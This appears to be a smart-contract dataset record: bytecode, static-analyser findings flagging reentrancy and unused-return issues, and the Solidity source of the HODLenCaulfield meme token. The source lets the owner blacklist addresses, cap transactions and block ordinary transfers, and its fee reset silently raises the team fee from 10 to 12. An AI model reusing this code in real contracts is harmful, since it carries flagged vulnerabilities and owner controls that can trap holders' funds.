00fd5b505050506040513d601f19601f820116820180604052508101906105f9919061184b565b6001600160a01b038316610a0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610a6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610b965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b60008111610bf85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b6002600a908155600b556000546001600160a01b03848116911614801590610c2e57506000546001600160a01b03838116911614155b15610e0d576001600160a01b03831660009081526006602052604090205460ff16158015610c7557506001600160a01b03821660009081526006602052604090205460ff16155b610c7e57600080fd5b600f546001600160a01b038481169116148015610ca95750600e546001600160a01b03838116911614155b8015610cce57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ce35750600f54600160b81b900460ff165b15610d4057601054811115610cf757600080fd5b6001600160a01b0382166000908152600760205260409020544211610d1b57600080fd5b610d2642601e611868565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d6b5750600e546001600160a01b03848116911614155b8015610d9057506001600160a01b03831660009081526005602052604090205460ff16155b15610da0576002600a908155600b555b6000610dab306104c4565b600f54909150600160a81b900460ff16158015610dd65750600f546001600160a01b03858116911614155b8015610deb5750600f54600160b01b900460ff165b15610e0b57610df981610f60565b478015610e0957610e0947610e57565b505b505b610e188383836110da565b505050565b60008184841115610e415760405162461bcd60e51b81526004016104259190611541565b506000610e4e8486611880565b95945050505050565b600c546001600160a01b03166108fc610e718360026110e5565b6040518115909202916000818181858888f19350505050158015610e99573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610eb48360026110e5565b6040518115909202916000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6000600854821115610f435760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610425565b6000610f4d611127565b9050610f5983826110e5565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa857610fa86117b9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611001573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110259190611800565b81600181518110611038576110386117b9565b6001600160a01b039283166020918202929092010152600e5461105e91309116846109ac565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611097908590600090869030904290600401611897565b600060405180830381600087803b1580156110b157600080fd5b505af11580156110c5573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e1883838361114a565b6000610f5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611241565b600080600061113461126f565b909250905061114382826110e5565b9250505090565b60008060008060008061115c876112b1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061118e908761130e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111bd9086611350565b6001600160a01b0389166000908152600260205260409020556111df816113af565b6111e984836113f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122e91815260200190565b60405180910390a3505050505050505050565b600081836112625760405162461bcd60e51b81526004016104259190611541565b506000610e4e8486611908565b6008546000908190683635c9adc5dea0000061128b82826110e5565b8210156112a857505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006112ce8a600a54600b5461141d565b92509250925060006112de611127565b905060008060006112f18e878787611472565b919e509c509a509598509396509194505050505091939550919395565b6000610f5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e1d565b60008061135d8385611868565b905083811015610f595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b60006113b9611127565b905060006113c783836114c2565b306000908152600260205260409020549091506113e49082611350565b30600090815260026020526040902055505050565b600854611406908361130e565b6008556009546114169082611350565b6009555050565b6000808080611437606461143189896114c2565b906110e5565b9050600061144a60646114318a896114c2565b905060006114628261145c8b8661130e565b9061130e565b9992985090965090945050505050565b600080808061148188866114c2565b9050600061148f88876114c2565b9050600061149d88886114c2565b905060006114af8261145c868661130e565b939b939a50919850919650505050505050565b6000826114d15750600061038c565b60006114dd838561192a565b9050826114ea8583611908565b14610f595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b600060208083528351808285015260005b8181101561156e57858101830151858201604001528201611552565b81811115611580576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c157600080fd5b80356115b681611596565b919050565b600080604083850312156115ce57600080fd5b82356115d981611596565b946020939093013593505050565b6000806000606084860312156115fc57600080fd5b833561160781611596565b9250602084013561161781611596565b929592945050506040919091013590565b60006020828403121561163a57600080fd5b8135610f5981611596565b80151581146104c157600080fd5b60006020828403121561166557600080fd5b8135610f5981611645565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561169957600080fd5b823567ffffffffffffffff808211156116b157600080fd5b818501915085601f8301126116c557600080fd5b8135818111156116d7576116d7611670565b8060051b604051601f19603f830116810181811085821117156116fc576116fc611670565b60405291825284820192508381018501918883111561171a57600080fd5b938501935b8285101561173f57611730856115ab565b8452938501939285019261171f565b98975050505050505050565b6000806040838503121561175e57600080fd5b823561176981611596565b9150602083013561177981611596565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117f9576117f96117cf565b5060010190565b60006020828403121561181257600080fd5b8151610f5981611596565b60008060006060848603121561183257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185d57600080fd5b8151610f5981611645565b6000821982111561187b5761187b6117cf565b500190565b600082821015611892576118926117cf565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e75784516001600160a01b0316835293830193918301916001016118c2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261192557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611944576119446117cf565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0910fa0d8a5bfb929ca42b004cad2b5cda345f9113a1af15dbd6b318e91a80c64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,901 |
0xe8427f072fa94fe5abb09d787086d026ed781318
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/HODLenCaulfieldETH
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HODLc is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HODLenCaulfield";
string private constant _symbol = "HODLc\xF0\x9F\x9A\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600f81526020017f484f444c656e4361756c6669656c640000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f484f444c63f09f9a800000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b